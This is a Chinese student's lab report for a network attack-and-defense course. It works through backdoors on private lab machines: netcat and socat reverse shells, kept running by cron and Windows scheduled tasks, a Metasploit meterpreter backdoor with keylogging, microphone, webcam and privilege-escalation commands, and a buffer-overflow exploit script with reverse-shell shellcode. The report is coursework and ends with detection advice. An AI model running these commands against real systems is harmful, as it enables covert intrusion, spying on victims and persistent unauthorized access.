20242428 2025-2026-1 《网络与系统攻防技术》实验二实验报告

20242428 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.基础知识

(1)后门:指在目标系统上留下的一段程序或代码,使得攻击者可以绕过正常的安全认证机制,重新获得对系统的控制权。后门可以通过独立文件、注入进程或修改启动项等多种形式存在。

(2)反弹Shell(Reverse Shell):攻击机开启监听端口,靶机主动发起连接并将自身的输入输出(Shell)重定向到该网络连接中。这种方式能有效绕过防火墙对入站连接的限制。

(3)Netcat与Socat:Netcat是网络工具中的“瑞士军刀”,支持通过-e参数将网络连接与进程绑定;Socat则是Netcat的增强版,支持更多的地址类型和伪终端(PTY)分配,交互性更好。

(4)Cron与任务计划:Linux下的cron和Windows下的任务计划(schtasks)都是操作系统的守护进程,用于周期性或定时触发任务,常被攻击者用于维持后门权限。

(5)MSF(Metasploit Framework):渗透测试框架,其msfvenom模块可以生成各种格式的后门载荷,msfconsole提供多模块利用与后渗透攻击支持。

(6)缓冲区溢出(Buffer Overflow)与Shellcode:当程序向栈上的缓冲区写入超出其长度的数据时,会覆盖相邻的寄存器(如EIP/RIP),导致程序崩溃或跳转到攻击者构造的恶意代码(Shellcode)处执行。

2.实验内容

(1)使用netcat获取主机操作Shell,并配置cron定时启动反弹任务。
(2)使用socat获取主机操作Shell,并通过Windows任务计划(schtasks)启动。
(3)使用MSF meterpreter生成可执行后门文件,利用socat传送到Win11靶机并运行获取主机Shell。
(4)使用Meterpreter获取Win11靶机的音频、摄像头、击键记录等,并尝试提权。
(5)使用MSF生成反弹连接的shellcode,注入到实践1的pwn1程序中,获取反弹连接Shell。

3.实验过程

任务一:使用netcat获取Shell与cron启动
1.1 使用netcat获取主机操作Shell

在Win11(靶机)上使用ncat监听7777端口:
.\ncat.exe -lvnp 7777

在Kali(攻击机)上执行反弹命令,将Kali的shell交给Win11:
nc 192.168.31.216 7777 -e /bin/bash

此时Win11的ncat窗口接收到反弹Shell,输入echo hello验证。
70fb4681d8e52c89534eac3716fcedd

1.2 使用cron定时启动反弹任务

在Kali终端中配置定时任务,每隔一小时的03分反弹一次到Win11:
crontab -e

写入以下内容(注释包含学号):

03 * * * * /bin/nc 192.168.31.216 7777 -e /bin/bash
3c236a2a5857801096e701fb0db3879

到达指定时间后,Win11的监听窗口自动收到Kali的反弹Shell。
e64ac134bc66bd4d46c646442f046b4

任务二:使用socat获取Shell与任务计划启动
2.1 使用socat获取主机操作Shell

在Win11上编写socat批处理脚本C:\Users\Public\20242428_socat.bat,内容如下:
@echo off
C:\Users\Huyue\socat\socat.exe TCP:192.168.31.246:7788 EXEC:cmd.exe,pipes

image

在Kali中开启socat监听:
socat TCP-LISTEN:7788,reuseaddr -

在Win11中运行该脚本,Kali端成功获取Win11的cmd.exe,输入whoami验证。
cc582ea4facf2dae80d85ea2bf1e6ae

2.2 使用任务计划启动

在Win11的命令提示符中创建计划任务,每分钟触发一次上述bat脚本:
schtasks /create /sc minute /mo 1 /tn "20242428_socat_task" /tr "C:\Users\Public\20242428_socat.bat" /f
4b54807ee86b63737f2adfc44a013eb
Kali开启监听,等待1分钟后自动获取到Win11的Shell。
d880d0ba437ee1a57e6b151b3b3725f

任务三:使用MSF生成后门并获取Shell
使用msfvenom生成Windows反弹木马,文件命名为20242428_backdoor.exe:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.246 LPORT=4444 -f exe -o 20242428_backdoor.exe

7767a06d3a7079553acc8d78d8c4d62

利用socat将后门文件传至Win11:
Kali端发送:
socat -u FILE:20242428_backdoor.exe TCP:192.168.31.216:9999
Win11端接收:
.\socat.exe TCP-LISTEN:9999,reuseaddr OPEN:20242428_backdoor.exe,creat,trunc
5dd2050d61a5443b7da25d3b0451e7e

在Kali启动msfconsole监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.246
set LPORT 4444
exploit -j

在Win11双击运行后门程序,Kali成功获取Meterpreter会话,执行sysinfo和getuid。

2adc356b78cd8502c3537ce38ae0ed0

任务四:Meterpreter后渗透操作与提权
在Meterpreter会话中依次执行键盘记录、录音、拍照和提权操作:
keyscan_start

在Win11键盘打字后执行:
keyscan_dump
执行录音和摄像头拍照操作:
record_mic -d 10
webcam_snap
尝试提权到SYSTEM权限:
getsystem
getuid
19d6c81856c8e212118d11c8766a2e6

任务五:MSF生成shellcode注入pwn1
使用msfvenom生成Linux反弹shellcode,排除空字节以免被gets函数截断:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.31.246 LPORT=5555 -b \x00 -f c

c99ac2d9ecd766f12ec677958a8670e

利用pwn1的栈溢出漏洞构造exploit脚本20242428_exploit.py:
from pwn import *

shellcode = b"\xb8\x01\xc1\xb5\x0f\xda\xc0\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x12\x31\x45\x12\x03\x45\x12\x83\xc4\xc5\x57\xfa\xf7\x1e\x60\xe6\xa4\xe3\xdc\x83\x48\x6d\x03\xe3\x2a\xa0\x44\x97\xeb\x8a\x7a\x55\x8b\xa2\xfd\x9c\xe3\xf4\x56\x41\x05\x9c\xa4\x7e\xfc\xee\x20\x9f\x4e\x76\x63\x31\xfd\xc4\x80\x38\xe0\xe6\x07\x68\x8a\x96\x28\xfe\x22\x0f\x18\x2f\xd0\xa6\xef\xcc\x46\x6a\x79\xf3\xd6\x87\xb4\x74"

offset = 32
ret_addr = 0xffffcf80

p = process('./pwn1')

payload = b"A" * offset
payload += p32(ret_addr)
payload += b"\x90" * 64
payload += shellcode

p.sendline(payload)
p.wait_for_close()

791d0de2a2a1c0c8dfaaca2d1bb31de

在Kali开启5555端口监听,运行脚本触发漏洞:
nc -lvnp 5555
python3 20242428_exploit.py

498754a2b966340e0a3b59ff56637da

4.问题及解决方案

  • 问题1:在Kali使用nc执行反弹时,输入命令无回显。

  • 问题1解决方案:初步怀疑是/bin/sh的交互性问题,尝试更换为/bin/bash后仍反应迟缓。后查阅资料发现Kali自带的nc.traditional版本在特定环境下的AppArmor限制或缓冲机制可能导致此问题,最终在Win11端利用socat进行接管,或者通过在payload中利用python提权pty来获得完整交互式终端。

  • 问题2:使用socat建立连接时报错 xiopoll: Bad file descriptor。

  • 问题2解决方案:这是因为Windows下使用EXEC:cmd.exe时,标准输入输出流没有正确挂载。在socat命令后增加pipes参数(即EXEC:cmd.exe,pipes),强制使用管道进行双向通信,成功解决。

  • 问题3:在任务五中,直接生成的msfvenom shellcode注入后无法反弹,程序崩溃。

  • 问题3解决方案:检查汇编代码发现pwn1使用了gets函数,该函数遇到空字节或换行会停止读取。最初生成的shellcode包含空字节导致被截断。通过在msfvenom命令中添加-b \x00排除空字节,重新生成编码后的shellcode,溢出成功。

  • 问题4:任务五使用pwntools的p.interactive()报Got EOF,且反弹的Shell瞬间断开。

  • 问题4解决方案:shellcode通过reverse_tcp将程序的IO重定向到了网络端口,导致本地终端读不到数据而退出,进而杀死了进程。将脚本末尾的p.interactive()删除,替换为p.wait_for_close()让进程保持存活,保持与nc监听端的连接。

5.实验问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:钓鱼邮件攻击。攻击者将带有宏病毒的Office文档或伪造的.lnk快捷方式作为附件发送。用户点击后,恶意脚本在后台静默执行,从C2服务器下载木马并植入系统启动项。

(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:Windows下:注册表Run键值、启动文件夹、计划任务、注册为自启动服务。Linux下:crontab定时任务、systemd服务、修改.bashrc或.profile用户配置文件、修改rc.local。

(3)Meterpreter有哪些给你映像深刻的功能?
答:keyscan_start/keyscan_dump的击键记录功能,无需额外安装键盘记录器即可直接捕获Win11上的敏感输入;webcam_snap只需一行命令即可静默调用摄像头拍照,后渗透操作高度模块化。

(4)如何发现自己有系统有没有被安装后门?
答:查看网络连接(netstat查可疑外连端口)、检查系统的计划任务与自启动项是否有陌生程序、使用杀毒软件全盘扫描、查看系统日志(如Windows事件查看器的4624/4625登录事件),以及使用Sysinternals等高级工具排查隐藏进程。

6.学习感悟、思考等

通过本次实验,我对后门的运行机制与利用链条有了具象化的认知。前面几个任务使用了现成的工具,让我理解了网络通信和进程重定向的基础;而任务五则需要计算偏移量、构造Payload、处理空字节截断,将MSF生成的二进制机器码注入到有漏洞的程序内存中,这些我通过ai的帮助进行计算,免除了很多麻烦。此外,实验过程中的排错也让我印象深刻。例如,防火墙的入站规则等。这些细节在理论课本上往往容易被忽略,但在实际攻防中却起着决定性作用。这也警示我,在日常的系统防护中,一定要及时更新补丁防止内存破坏漏洞,并严格监控各类计划任务和异常进程的网络连接行为。

参考资料

0x11_MAL_逆向与Bof基础.md:

0x12_MAL_Shellcode基础.md:

0x13_MAL_使用netcat进行反弹链接的shellcode.md:

posted @ 2026-10-17 21:29  丘山233  阅读(4)  评论(1)    收藏  举报